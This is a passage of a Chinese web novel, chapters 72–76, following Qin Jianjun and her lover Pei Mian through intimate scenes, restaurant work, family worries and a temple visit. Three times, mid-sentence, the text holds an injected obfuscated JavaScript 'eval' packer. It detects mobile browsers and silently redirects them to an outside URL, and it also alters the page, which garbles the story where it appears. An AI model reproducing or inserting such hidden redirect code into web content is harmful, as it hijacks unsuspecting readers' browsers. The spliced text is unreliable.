“你憋着不难受吗?”虽然酒醒了点,但还有残存的醉意,这会儿的秦见君胆子大得很,尤其看着裴眠一脸纯洁的模样,她便更要摆出一副熟练的架势来。 “还......好.....”裴眠看着近在咫尺的秦见君的脸,眼神有些飘忽。 秦见君松开掐着他下巴的手,缓缓伸进被子里...... “你!”裴眠的眼睛瞬间睁大了,秦见君觉得新鲜极了,他睁大眼睛的模样像震惊小猫,萌感十足。 “嘘......”秦见君伸出一根手指放在唇上,“小点声,夜深了,别惊动隔壁的人......” 裴眠想挣脱,但秦见君的眸子像是有蛊惑人心的能力,被她盯住,便如同置身蛛网,逃脱不得。 见他安静下来,秦见君便将剩下的一只手也伸进被子里,她没什么实战经验,只能一边动作一边观察裴眠的表情,折腾了许久,最后困得眼睛都睁不开了...... 翌日一早。 “姐姐!姐姐!” 秦见君迷迷糊糊听到袁芽的声音,但实在困得不行,便抬手捂住耳朵继续睡。 “姐姐!”袁芽的声音由远及近,已经到门口了。 秦见君睁开眼,看见裴眠正侧躺在身边看着自己,星目剑眉,俊朗非凡——网友诚不欺我,找个帅哥当男朋友真的能治起床气...... “姐姐!你起了吗?我进来啦!”袁芽说着就要去推门。 秦见君吓得忙起身,正要说话,却被裴眠捂住了嘴,她瞪大了眼看向裴眠。 门外的袁芽正要推门,却被自家哥哥拦住了。 袁分伸手抵在唇边,咳嗽了一声道:“不着急,时辰还早。” 袁芽听了,点点头,冲卧房内喊:“姐姐我在前厅等你!” 秦见君松了口气,看向裴眠。 裴眠微微耸肩:“昨夜袁原来找过我,他知晓我在这里。” 所以袁原从昨夜起就守在这里?否则不可能这么快让袁分截住袁芽。 秦见君看裴眠一脸淡定的模样,忽然有点怀念他昨夜的失控,于是坏心眼道:“那你可要感谢我。” “嗯?”裴眠不明所以。 “感谢我昨晚叮嘱你小声,不然......袁原可就全听到了......”秦见君揶揄道。 想到昨夜,裴眠的脸上不受控制地爬上红晕...... 73.第73章(一更) “哎唷?这位是?” “秦小娘,这位是谁啊?” 平日各自吵嚷的菜场摊位,如今都聚在了一块儿,纷纷围着秦见君与裴眠。 裴眠戴着帷帽,看不清面容,身姿却高大挺拔,气质卓然,引人注目。 秦见君笑着答道:“是我心上人。” 裴眠听了,有些讶然地隔着帷帽望向她。 “心上人?怎么戴着帷帽啊?” “是啊,快让我们看看是谁家郎君能得秦小娘青眼......” 秦见君摆了摆手道:“天气冷,他有些着凉了,不便吹风。” “啊呀......年前可是真冷,秦小娘也要注意身子,我还等着去含萃店里吃饭呢!” 秦见君点头应下,正挑菜呢,又听人问:“秦小娘,你心上人姓甚名谁?是我们绵州人吗?” 她忍不住挠了挠脖子——菜场的百姓与她熟识,定会对裴眠的事刨根问底的,也是自己早上不清醒,居然让裴眠粘着来采买了...... “姐姐,这猪五花看着不错......”袁芽在一旁小声插嘴道。 她从前不爱说话,这段日子虽活泼了许多,但在这么多人都看着的场合插嘴,心中还是有些忐忑。 猪肉摊的小娘看出秦见君的为难,正好听了袁芽的话,便忙道:“今早刚杀的猪,这五花漂亮得很,秦小娘要买点吗?” 有人接话,袁芽松了口气,秦见君也松了口气,低头去挑猪五花。身后的覃涛与冯莲也纷纷反应过来,你一言我一语地将话题岔开了。 既如此,菜场的摊贩也都懂了眼色,不再追问。 回了脚店,秦见君替裴眠摘下帷帽,将他安置在厨房一角,还特地去书局寻了两本看起来就很高大上的书册给他看。 “今日不要让任何人进后厨。”秦见君对大堂的几人嘱咐道。 裴眠来绵州是偷摸行事,若是被有心人看见,想要以此做文章的话,裴眠便是理亏的一方。 冯莲好奇地朝后厨张望了一眼——自今早见到裴眠起,他就戴着帷帽,她都没来得及看见裴眠的“庐山真面目”。 秦见君回了后厨,开始忙碌。 裴眠许久未见她,手中的书册端了半晌,一页也没翻,眼睛直勾勾盯着秦见君。 秦见君一边忙,还一边抽空回应他的眼神。每每对上他的视线,秦见君都觉得做菜动力十足,仿佛他是一口永不枯竭的动力之源...... 平日里脚店都是午后闲时才吃午饭,秦见君怕裴眠饿,便趁着做菜的间隙,给裴眠蒸了一碗蛋羹垫肚子。 好不容易到了下午,秦见君终于忙完了,一群人坐在桌上准备吃饭,她忽然发觉冯莲动作有些僵硬。 冯莲震惊地看向坐在秦见君身边的裴眠——她还未见过这么......俊朗的男子...... 秦见君看她呆呆的样子,挑了挑眉,用手肘撞了一下裴眠。 裴眠转头看向冯莲,一股熟悉又陌生的感觉涌上心头。 从前在虔渊州时,路过的小娘都会用这种目光看着他,他早已习惯了。 不过自病后,便少有这种情况了,而且叶水州的年轻小娘并不多,他的感受变化不大。如今收到冯莲炙热的目光,他才有了自己的病已痊愈的实感...... 冯莲呆呆看了会儿才回神,目光由盯着裴眠看,变为在秦见君与裴眠之间逡巡——两个人都好好看,真配啊...... 吃过午饭后,秦见君带着裴眠在后厨休息。 两人并排坐在后厨窗边,看着窗外的大树,树叶间隙洒下来细碎光斑。 秦见君伸了个懒腰,打着呵欠问裴眠:“困不困?” 裴眠摇头,道:“你困了?要睡会儿吗?” 秦见君按了按眼角提神,道:“不睡了,容易着凉,而且再一会儿又要来客人了......” 裴眠的眼中带着心疼,但并不说出来。 两人通信时他便知晓她每日忙碌,但她早就说过,这是她的理想、是她甘之如饴的事业,他不能插手。 为了提神,秦见君觉得要聊聊天才行。 “你知道赵浅聿的婚约吗?”秦见君问。 裴眠点头,虔渊州的风吹草动他都能第一时间收到消息,何况是赵广涵此次大动干戈的“提亲”。 “他要跟谁成亲?” “卢飞枫的女儿卢兰。” 秦见君问:“卢飞枫是谁?” “卢大人在学士院任职,在朝中并未从派。”裴眠道,“卢小姐对赵浅聿一见倾心、非君不嫁,赵广涵得知后便上门提亲,卢大人爱女心切,不忍看女儿苦苦哀求,便同意了亲事。” 秦见君蹙眉问:“赵广涵想拉拢卢大人?” “是。” “联姻啊......”秦见君叹了口气。 这么说的话,沈婉真的没什么胜算,沈叠山已无官职,离虔渊州也远远的,如今重心都放在做生意上,于官场斗争而言并无助益...... “怎么了?”裴眠见她脸色有些忧虑。 “赵大人有心上人吗?” 裴眠摇头:“并未听说。” “赵大人看着还挺风流的,难道就没什么绯闻?”秦见君问。 裴眠挑眉:“并未听说有相好的娘子。” 秦见君有些不相信地又问:“心仪他的小娘子不够多吗?” 裴眠看着秦见君,有探究之意。 秦见君解释道:“如果人数够多,那再怎么样也会有他感兴趣的吧?” 裴眠不赞同道:“与人数多寡并无关系......”说着,他又补了一句,“我在虔渊州时......比他多。” 秦见君一时没反应过来,裴眠一向内敛正经,倒是少听他提起男女之事,这会儿忽然说起,她倒是愣了一瞬。 随后她便听懂了,眯起眼:意思就是追他的人比追赵浅聿的多,但他还是“守身如玉”? 裴眠说完便转过头看向窗外的树,脸上表情淡淡的,垂在身侧的手指却不自觉抓住了衣摆。 秦见君有些不确定,她怎么觉得......裴眠有点闷骚...... 不出秦见君所料,不一会儿店里便来了客人,又是一夜忙碌。 “夜里加一道试菜。”秦见君拿起五花肉,对袁芽道了,“团圆饭的猪肘子还是去掉,看能不能换成山楂五花肉,我做出来给你们尝尝。” 听了新菜色,袁芽兴奋地瞪大眼睛,频频点头道:“好啊!” 裴眠也对这道听起来又酸又咸的菜起了兴趣。 大荆人吃肉并不单纯流行肥或瘦,反而对肥瘦相间的肉情有独钟,五花肉恰好符合。 比起装饰作用更强的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001450|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪肘子,秦见君还是想做一道适合大人和小孩口味的荤菜。一家团聚本就该顾及老少,她希望孩子和大人都能吃得开心。 她先将五花肉切成了方便入口的块状,与葱姜等一同入锅焯水,捞出晾干,再拿出裴眠帮忙去了籽的山楂清洗干净。 锅中倒油,将糖炒融化,再倒入五花肉翻炒,滋滋啦啦的油爆声响起,裴眠忍不住起身去看。 秦见君抽空看了他一眼,确定他在油溅不到的地方,才低下头去加调料。加入调味与香料后,再往锅中加清水没过红烧肉,盖上锅盖炖煮。 “还要炖一会儿,饿不饿?”秦见君问裴眠,不过还不等裴眠回答,她便兀自上前拉起裴眠去大堂吃饭。 无论他饿不饿,饭都得按时吃。 “先吃饭,肉还要炖一会儿。”秦见君道。 众人都一边扒着碗里的饭,一边看向后厨,那里已经飘出浓郁的肉香了。 秦见君吃完饭,又进了后厨,开盖查看了一下,肉已经炖烂了。 她将红彤彤的山楂倒入,搅匀后又煮了会儿,接着加大火收汁,装盘盛出。 酱香浓郁的五花肉晶莹软弹,山楂也饱满挂汁。 众人都不客气地伸出了筷子,裴眠也夹了一块五花肉。 肥瘦相间的肉块在筷子上弹动,褐色酱汁外裹着油水,在烛火下闪闪发光。 五花肉大小刚好,入口恰好能覆住舌面,一股酸甜带着果香与肉香的气息在口中四溢开来。裴眠抬起舌尖想拨动一下肉的位置,软糯的肉块却直接被碾碎。 细腻的肥肉与纹理分明的瘦肉口感交织,丝毫没有肉腥味,爆发的酱香咸淡适中,美味非常。 他垂眸又夹了一颗山楂放入嘴中,山楂虽看着饱满,内里却早已烂熟,轻轻一抿便在嘴里化开了。 独属于山楂的酸甜与清香带走了五花肉残余的感受,截然不同却又极其和谐的味道留在了舌尖...... “姐姐,这个好吃!”袁芽嘴里塞得鼓鼓囊囊的,将手掩在嘴边,咬字虽不清晰,但夸赞之情溢于言表。 秦见君放心地点点头,自己也尝了尝,接着便拍板道:“那就把猪肘子换成山楂五花肉,袁芽明日把套餐菜单做出来,找人多抄写几份,后天开始,覃涛和冯莲发放给所有来店里用餐的食客。” 众人都点点头。 裴眠有些新奇地看着这场景,清晨听摊贩们喊她“秦老板”,眼下倒是真看出几份“老板气派”来了。 “想什么呢?”秦见君收好碗筷,见裴眠正盯着自己。 “你。” 秦见君皱了皱鼻子——嘴越来越甜了...... 不过她很受用。 夜里秦见君拎着食盒去找杨甜,裴眠想去拜访杨甜,却被秦见君拦住,直接推回了自己的卧房。 “娘。”秦见君将食盒放在桌上。 杨甜从床边走过来,帮着秦见君一起打开食盒。 其实秦建业的身子好多了,只是他心情不好,才迟迟不肯下床。 杨甜被此事磨得鬓边白发都多了几根,秦见君都看在眼里。 “见君......”杨甜拿出食盒中的汤盅摆在桌上,忽然开口。 秦见君看向她。 杨甜的表情很平静,但说出的话却让秦见君心头一跳。 “你屋子里那个男人是谁?” 74.第74章(二更) 卧房的门打开又关上,冷风穿过前厅,钻入房中,缠在桌角不肯散去。 杨甜有些僵硬地接过裴眠递来的热茶,眼睛一直往秦见君身上瞟,期盼她说些什么,好缓解这尴尬的气氛。 秦建业拨开床帘缝去看,裴眠半侧着身子,他只能看见一个不甚清晰的侧脸,只能好奇地往前探。 “这是裴眠,原绵州知州......”话音未落,杨甜直直从凳子上滑了下去,低头就要跪。 好在裴眠反应极快,将她扶住了:“已经不是知州了,不必行礼。”说完,他抬头朝秦见君使了个眼色。 于是秦见君也上前,将杨甜扶起来:“是啊,他不是绵州知州了,不用跪......” 秦见君止住了话头,想着可不能让杨甜知晓,裴眠不做知州后升职当了转运使,不然杨甜怕是头都能磕破...... “那你.....你们......”杨甜的语气有些迟疑。 今日一早,她被袁芽的喊声吵醒,洗漱好便想着出来看看,没想到正好看见秦见君与一位高大的男人一同出了院子。 白日里秦建业又闹了几通,她心力交瘁地坐在屋子里,不禁想到以后的日子。 总这样赖着秦见君定是不行的,她与秦建业的吃穿用度要花银钱。再怎么说,秦见君也只是个未成亲的小娘,只要身边跟着自己与秦建业两个拖油瓶,定是不好说亲事的。 如今秦见君的脚店生意蒸蒸日上,可不能被拖累...... 她忽然想起早上看见的陌生男人,不禁担忧起秦见君的婚事来。原想着夜里问问秦见君,没想到竟撞见那陌生男人径直进了秦见君的卧房! 早晨是背影,夜里烛火昏暗也并未看清,谁知这陌生男人竟长得如此俊朗,还是个当官的! 杨甜的心情大起大落,两只手忍不住搅在一处,迟疑了一下,还是问出了口。 秦见君倒也不忸怩,直言道:“我们在谈恋爱。” 杨甜听完她关于“谈恋爱”的阐述后,一头雾水,但见裴眠也一脸无奈地看向自己,便知晓这都是秦见君的主意,既然是她的主意,那应当不会吃亏...... 在井沟村时,家中大事都由秦留志做主,杨甜向来没什么主意,带着秦建业来绵州是她做过的最大的决定了。 眼下看着裴眠,杨甜也只能叮嘱二人:“你们......尽量别让外人看见了......”事关秦见君的名声,她还是有点放心不下。 “知道了。”秦见君答道,还以为杨甜会自怨自艾说什么都是因为她教得不好,才导致自己“不守妇道”之类的。杨甜接受得这么顺利,倒是让秦见君刮目相看了。 秦见君正想带着裴眠离开,身后忽然传来窸窸窣窣的声音。 秦建业扶着墙站在离床几步远的地方,这是秦建业出医馆后第一次自己下床。 “建业?怎么下床了?腿疼不疼啊?”杨甜见了,忙迎上去搀住他。 秦建业少见的安静,他仔细观察着裴眠,裴眠并不闪躲,直直回望过去,他倒不至于会怕一个孩子的目光。 秦建业与裴眠对视半晌,又转过去看秦见君,问道:“姐姐......你要同他成亲吗?” 秦见君的手指抵在下巴上想了想,道:“不出意外的话,应该会的。” 裴眠侧头去看秦见君,眼底的光亮晶晶的。 秦建业却面如死灰,他垂下头道:“娘,我们走吧......” 不是“睡吧”,也不是“休息吧”,而是“走吧”。 秦见君敏锐地察觉到了什么,问:“走去哪儿?” 秦建业依旧垂着脑袋,声音似是压着怒气:“去哪儿都好。” “身子好全了?” “好全了。” 秦见君感受到孩子有些赌气,于是抱臂问道:“打算怎么赚钱?” “不用你管......”秦建业的声音弱了些。 “为什么想走?”秦见君蹲下身,凑过去看秦建业的表情。 秦建业别着头躲过去,始终将大半的脸隐在黑暗中,声音闷闷的:“总不能成亲了还跟着你......” “怕拖累我?” 此话一出,秦建业与杨甜的身子都僵了僵,裴眠与秦见君看得分明。 原来如此。 秦见君站起身,看着靠在墙边的母子俩,心中有些复杂。 她对杨甜与秦建业的感情很奇怪,明明是有着血缘关系的亲人,可却只是她来到这个世界后才开始相处的。 两人的性子她都不大喜欢,若是没有这层亲人关系,她或许根本不会理这两人的死活...... 当初将二人送到了医馆,从大夫那里得知二人吃了许多苦头才到了绵州,她心里明白二人是将她当做了最后的希望,这样的期盼她有些扛不住。 可眼下看来,她不仅扛住了,还隐隐有想要继续成为二人依靠的趋势。 她知晓人在绝境时是如何痛苦的,当初孙先生与文女士意外去世,她在孤儿院被指指点点,老师也直言告知她,从今以后她都不会再有被收养的机会了...... 彼时的秦见君觉得自己走到绝境了,全世界将她隔开,她甚至想过就这样放弃生命。但韩思霖找到了她,告知她,若是能好好念书、考上大学,就收她为徒。 老爷子和蔼的脸驱散了阴霾,让秦见君漆黑的世界破进去一束光。 后来她才反应过来,那束光有多么重要,无论是谁都好,给她一束光就能支撑她活下去。 她也想在杨甜与秦建业的世界里撕开一束光,毕竟自己开了含萃店,有了底气,便不忍心眼睁睁看着他们走上绝路。 “早着呢。”秦见君道。 秦建业没听清,嘟囔着问:“什么?” “我说......”秦见君提高了声音道,“没那么快成亲,在你和娘能养活自己之前,我不会成亲。” 杨甜听了,有些着急道:“你别......” 秦见君摆了摆手,截断了她的话:“没为了你们耽误自己的事,裴眠过两天就要离开绵州,他忙得很,至少今年成不了亲。” 她又伸手摸了一把秦建业的脑袋道:“你的身体也好得差不多了,等能自由下床了,就去学堂念书,娘跟着我去店里做工,等收入稳定了再说走的事。” 秦建业愣住,缓缓抬头看向秦见君:“念书?” 秦见君点头,理所当然道:“对啊,念书,你这个年纪不念书还能做什么?” 秦建业心情复杂——他是真的念不进去书,还不如让他去店里做工来得痛快...... 念书这事秦见君并不想与秦建业讨论,她觉得识字无论在哪个年代都是很重要的。尤其是秦建业还断了条腿,体力活抢不过别人,会识字的话谋生渠道也会更多。 秦见君带着裴眠回了卧房,两人洗漱后躺在床上,双双盯着虚空不说话。 秦见君的眼珠转了转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009592|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊他:“裴眠......” “嗯。”裴眠应了一声。 烛火熄灭后,屋子里沉入黑暗,他脑海中不自觉浮现昨夜的情形,越想身体便越僵硬。 秦见君翻了个身,朝向裴眠道:“你知道玉佩要怎么保养吗?” “保养?”裴眠问。 秦见君皱了皱鼻子,道:“你送我的玉佩,每天挂着,我怕磕坏了......” 裴眠答:“无妨,坏了再送你新的。” 秦见君心中吐槽,那怎么能一样呢?这玉佩可是情侣款!是定情信物! 一时间屋子里又安静了下来,不过还没一会儿,秦见君便又开口了。 “今天累不累?” 裴眠不明所以,认真答到:“不累,你累吗?” “累。”秦见君斩钉截铁道,语气中还带着一丝窃喜。 裴眠不确定自己是否听错了那一丝窃喜,默了会儿才问:“是身上酸痛吗?” “嗯!痛!特别痛!”秦见君翻身撑起上半身,拍了拍裴眠的肩膀,在他转过来的瞬间,抓住他的手往自己腰上带。 “腰痛,揉揉吧。”说完,她往裴眠怀里一钻,双手环住他的腰,腿也搭在他腰侧,不动了。 这姿势磨人得很,裴眠却只能无奈地替她揉起腰来。 揉了一会儿,秦见君有点不满足地动了动手,先捏了捏裴眠的腰——紧致又有弹性。 接着她又抽回手,按在了裴眠胸上。 裴眠:“......” “比夏天大好多啊......”她忍不住收紧手指,握了握,心道胸肌原来是软的...... 正想着,忽然发觉掌中的软肉变得紧绷起来,同时腰间的手劲也大了起来,于是她抬头去看裴眠,他却仰着头,不让她看见自己的表情。 秦见君也不在意,低头继续按了按手下的胸肌,半晌才得出结论:“软的比较好捏,硬的就更有弹性一点。” 裴眠忍不住抿起嘴,心中庆幸这是夜里,夜色替他遮住了耳根与脸颊上的红晕。 秦见君说完,将手从裴眠胸上收了回去,裴眠正要松口气,又感觉那双热乎乎的手竟然摸上了自己小腹...... 秦见君勾起嘴角,拍了拍裴眠的腹部道:“别紧张,摸摸腹肌而已。” “你......”裴眠掐住她的腰,有点警告的意思。 “哈哈哈......”秦见君忍不住笑了起来——原来调戏纯洁男人是这个感觉。 裴眠感受到她贴在自己心口,笑得一颤一颤,一时羞恼上头,抬手拍了一下她腰下的软肉。 “啪”的一声,秦见君被拍懵了。 “你......”秦见君不可置信地看向裴眠,“你打我屁股做什么?” 裴眠的手悬在半空,感到浑身僵硬——他该不会打疼她了吧? 手指收紧又张开,裴眠不知道要怎么做才好,总不能揉一揉方才打的地方吧...... 裴眠紧张地收回手,想要别在身后。 秦见君觉察到他的动作,连忙伸手抓住他的手腕,问道:“你做什么?” 裴眠的手停在半途,声音有些愧疚:“是不是打疼你了?” 秦见君感受了一下,疼是不疼......倒是......还蛮有感觉的...... “你再打一下。” “啊?”裴眠难得露出惊讶的神色。 “再打一下嘛。” 75.第 75 章 秦见君确实是十分佩服裴眠的。 许多人标榜自己坐怀不乱,可大多最后都会被轻易诱惑——不像裴眠,是真的能忍。 又一次清晨醒来,秦见君转头看过去,裴眠还在熟睡。 她忍不住掀开被子低头看了看——身材......还好吧? 那怎么就诱惑不到他呢? 虽然屋子里燃了炉子,但寒意无孔不入,秦见君只是掀开被子看了看,裴眠便感到冷,睁开了眼。 秦见君忙将被子掖好,自己起了床。 “今晚要赶路,你别陪我去店里了,好好休息吧。”秦见君洗漱完,回来见裴眠已经坐起来了,忙道。 裴眠却并未躺回去,而是继续穿衣裳道:“无妨。” 秦见君也很纠结,今夜他就要启程回叶水州,下次见面又不知道是何时了。 她既想要他陪着,又怕他累着。 最后裴眠还是跟着去了含萃店。 “午后就打烊,然后我们回家吃晚饭,好吗?”秦见君决定夜里提前吃团圆饭,也算是给裴眠送行。 “嗯。”裴眠点头,手上是袁原抄录送来的农事孤本,已经快要翻到头了。 秦见君想着快些招待完午餐的食客,下午也能早点打烊,于是也不多话,闷头开始干活。 临近年关,绵州百姓脸上都带着笑意。 严格来说只有除夕到初一的夜里才算“过年”,但过年是极富仪式感的事。 从准备仪式到仪式开始后的许多习俗,会将“过年”这个瞬间延伸成几日,甚至半个多月的狂欢。 “冯小娘,团圆饭可还有位置啊?” 冯莲只想了片刻便道:“有的,只剩了四方小桌,不过能加椅子。” 食客追问:“能坐下八人吗?” 冯莲微微蹙眉,老实道:“能坐下,就是挤。” 那食客笑了道:“挤点好,热闹,劳烦冯小娘帮我留一桌。” 冯莲点头,去柜台拿了纸笔,将食客的预留信息记了下来。 这段日子她努力在学字,但天资一般,学起来比袁芽吃力得多。恰好这食客的名字有一字有些复杂,她记不清是如何书写的了...... 握着笔的手僵悬在纸上,冯莲正想赔个笑脸,让食客自己写上去,身边便传来了一个清朗的男声。 “我来吧。” 冯莲转头——是个清秀的书生。 罗衔玉接过笔,将那复杂的字写下,一笔一划工整漂亮,与前面冯莲的初学者字体迥然不同,对比之下竟显得有些滑稽。 冯莲将纸笔还给柜台时,罗衔玉也跟在她身后。 袁芽将纸笔收好,听到罗衔玉问。 “秦小娘在后厨吗?” “在的。”袁芽见罗衔玉要往后厨去,忙拦住他道,“姐姐前几日说怕后厨人多容易碰到食材,往后都不许人随意进出......” 罗衔玉听了,便也不再往前走,而是拜托袁芽告知秦见君一声,他找她有事。 “这会儿店里正忙呢,姐姐抽不开身。”袁芽道。 她虽年纪小,却能看出罗衔玉的心思。这会儿裴眠还在后厨,若是两人遇上,秦见君肯定会为难。 她心道不妙,怎么早不来晚不来,偏偏这时候找上门? “无妨,我在这儿等她。” 袁芽只好转身进了后厨。 “姐姐。” 秦见君头都没抬,应道:“怎么了?” 袁芽先看了一眼旁边翻书的裴眠,然后才回话道:“罗书生来了。” 秦见君眉头一蹙,终于抬起头来:“罗衔玉?” 听到这名字,裴眠也抬起头来——袁原同他提过这个名字。 先前袁原去虔渊州取孤本时路过绵州,便“打听”了一下秦见君的近况,于是得知了罗衔玉的事。 食客都离开后,店门口“营业中”的木牌被收起。 裴眠在后厨,秦见君只能去大堂与罗衔玉说话,其余人见状,都纷纷躲进了后厨。 裴眠见几人接连进了后厨,知晓现下大堂只有秦见君与罗衔玉两人了,握着书册的手不住攥紧了些,面上却不显。 袁芽在一旁却有些着急,她趴在门口屏息听着,两人的谈话声却模模糊糊的。 “我此番来找你,是来道别的。”罗衔玉道。 那日被秦见君委婉拒绝,他回过岭州后许久都未再来。直到前几日听闻秦见君的心上人与她寸步不离,这才有些按捺不住。 “道别?”秦见君问。 “爹娘要带我去虔渊州了。”罗衔玉道。 “那.....挺好的......”秦见君不知要如何回答。 关于罗衔玉的一切,她都不是很清楚,只知他是个书生,家住何方、在哪个书院就读,她都一概不清楚。 尤其在察觉到他的心思后,秦见君便更是能避则避。眼下他来道别,她心中只有微微的离别之感,更多的是松了口气。 袁芽仔细听了会儿,实在是听不清,有些焦躁起来。 冯莲端着饭碗走过来道:“去吃饭吧小芽。” 袁芽转头,店里的人都围着灶台吃饭呢——除了自己与裴眠。 她大着胆子上前,问裴眠:“大人,你不好奇他们在说什么吗?” 裴眠手中的书册已有一会儿没翻页了,但无人察觉。 他淡声道:“不好奇。” 好奇也不能趴在门上偷听,那样有损风度...... 袁芽见他一副淡然的样子,忍不住为他着急:“那个罗书生,先前来找姐姐说......说他喜欢姐姐!” 裴眠自然知晓这事,他按在书册上的手指不自觉用了点力。袁芽还在耳边喋喋不休,每句话都听得裴眠心中烦躁。 他忍了又忍,正要起身去看看时,秦见君回来了。 “小芽,你在做什么?”秦见君拎着袁芽的后领子将她拽到身前问。 袁芽被抓包,一脸心虚地看着秦见君道:“没做什么......” 秦见君眉头微蹙,有些要生气的模样,吓得袁芽心砰砰直跳。 “其他时候就算了,吃饭的时候别耽误他,他得按时吃饭。”秦见君严肃道。 袁芽小鸡啄米般点头,感到衣领被松开后,抬腿便跑远了。 秦见君转头看向裴眠,脸色依旧严肃:“你也是,要我把‘按时吃饭’四个字刺在你背上吗?” 裴眠抬手摸了摸鼻尖,没说话。 秦见君看他默然听训的样子,也不继续说了,拉着他去灶台边吃饭。 “姐姐......” 吃饭时袁芽又大着胆子蹭过去,小声喊秦见君。 “怎么了?” “那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014464|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗书生跟你说什么啊?” 其余人吃完饭后都聚在一旁闲聊,灶台边只剩下秦见君、裴眠与袁芽,是以袁芽问出口后,裴眠便竖起了耳朵。 “他是来道别的。” “道别啊?”袁芽松了口气。 裴眠听完,便将倾过去的身子回正了些——道别啊,那没事了。 午后含萃店便打烊了,秦见君给裴眠戴好帷帽,拉着他去了城郊的千喜寺。 秦见君记得韩思霖的含萃楼里供着一尊关二爷像,逢年过节都要祭拜,但大荆没有关二爷,她只好去寺庙拜一拜。 “你之前来过这里吗?”秦见君与裴眠并肩走在城郊小道上。 “并未。” “听说这里香火很旺的,求财很灵!”秦见君眼里冒着光。 她倒是想找个地方跟裴眠约会,但大荆连电影院都没有,她不知道该去哪儿约,索性来了寺庙,顺便还能求个财。 大荆流行大年初一上香,是以这会儿寺庙中人不算多。 秦见君跟着指引跪下礼佛,心中默念着姓名住址,期盼佛祖保佑她生意兴隆、财源广进...... “施主,这边请。”跪拜完,小和尚又引着二人去了另一间佛堂。 “这里是求什么的?” 小和尚笑着对二人道:“求子。” 秦见君:“?” 小和尚的目光在二人之间来回转了两次,道:“小僧观二位施主关系非同一般,便擅作主张了。” 秦见君转头看向裴眠——他站得离佛堂远远的,方才自己在跪拜求财时,他也是在佛堂外等着。 小和尚看出了秦见君眼中的疑惑,便道:“那位施主身上有血腥气,不宜亲近佛堂。” “血腥气?”秦见君问。 “佛不杀生。” 这下秦见君懂了,她重新转头望向裴眠——他手里沾过人命,身上带着血腥气,所以才不入佛堂,只远远站着。 “这血腥气......会对他有什么影响吗?”秦见君担忧道。 小和尚上下打量了裴眠一会儿,道:“无妨,非恶债,施主不必忧心。” 秦见君点点头,松了口气。 “若是不求子,是否要求一签?”小和尚又问。 秦见君秉承着“来都来了”的至理名言,跟着小和尚去求了一签。 解签之事有专门的老和尚帮忙。秦见君与裴眠跪坐在蒲团上,等老和尚解签。 “施主想问何事?” 秦见君想了想,问:“能问几件事?” 老和尚脸上带着和蔼的笑,温声道:“都可问。” 秦见君便迫不及待道:“先问生意。” 老和尚笑道:“财运亨通,但防小人。” 这话不难理解,于是秦见君又问:“那......感情呢?” 老和尚的目光转向一旁的裴眠,没看一会儿,又转了回来,道:“交心方可长远,切忌心存保留。” 秦见君微微蹙起眉,心想自己穿越过来的事,就保留着没跟裴眠说,这事会影响他们之间的感情吗? 老和尚见她表情纠结,也不催促,直到秦见君问出下一句话。 “那......前世今生,能说说吗?”秦见君心怀忐忑。 此话问出口,裴眠便疑惑地转头望向她,似是不解她为何会忽然问这个。 76.第 76 章 老和尚并不惊讶她会问起前世今生,只摸了摸手中的珠串,道:“前世乃现世,今生已了结。” 按时间推算,“前世”指的应该是时间更早的现在,而“今生”则是未来的现代社会,老和尚这话倒是一点没错。 秦见君心中一惊,对上老和尚通透淡然的目光,她忍不住感到战栗。从自己来到这个世界,就独自守这个这个秘密,如今终于有了第二人知晓,她脊背的汗毛都竖起来了。 “今生为什么会突然了结?”秦见君追问。 老和尚并未含糊,直言道:“你有三世缘,今生缘分受阻,便补你一世。”说完,他转头看向裴眠道,“施主不求一签?” 裴眠摇头道:“罪孽深重,不敢求。” 老和尚闻言也点点头,重新看向秦见君道:“珍惜眼前人,再误一世缘分,可就没得补了。” 秦见君脑子转得飞快,追问道:“今生的缘分是怎么误的?” “非人力可拒,施主不必纠结于此。” “那什么叫‘没得补了’?”秦见君又问。 老和尚的神色染上悲悯,声音也轻了些。 “施主亲缘浅,亲人世世无法在身畔久留,待亲缘尽,轮回也尽,从此不再入世道受苦。” 老和尚的声音又轻又缓,落在秦见君耳中却犹如千斤,一旁的裴眠眼神也凌厉起来。 两人并未久留,天色擦黑时便离开了寺庙。 “裴眠,‘亲缘尽’是什么意思?”秦见君问。 裴眠抿了抿唇,没说话。 他闭口不言,便让秦见君更加坚定了心中的猜测。 “亲缘尽”便是身边亲人都逝世,老和尚的话,意思就是待自己身边的亲人都逝世后,她走完这一生便不再入轮回,不再有来世了。 回院子的路上,秦见君去珍馐楼买了饭菜,有些愧疚地对裴眠道:“今晚想偷懒,不想做饭......委屈你了......” 她原想着给裴眠做一桌团圆饭,可惜如今实在是没什么心思了...... 